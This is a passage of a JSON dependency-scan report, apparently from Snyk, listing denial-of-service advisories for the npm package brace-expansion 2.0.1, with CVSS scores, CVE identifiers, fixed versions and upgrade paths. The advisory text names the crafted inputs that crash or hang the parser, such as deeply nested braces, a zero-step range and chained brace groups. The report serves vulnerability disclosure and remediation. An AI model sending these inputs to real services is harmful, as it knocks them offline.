"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
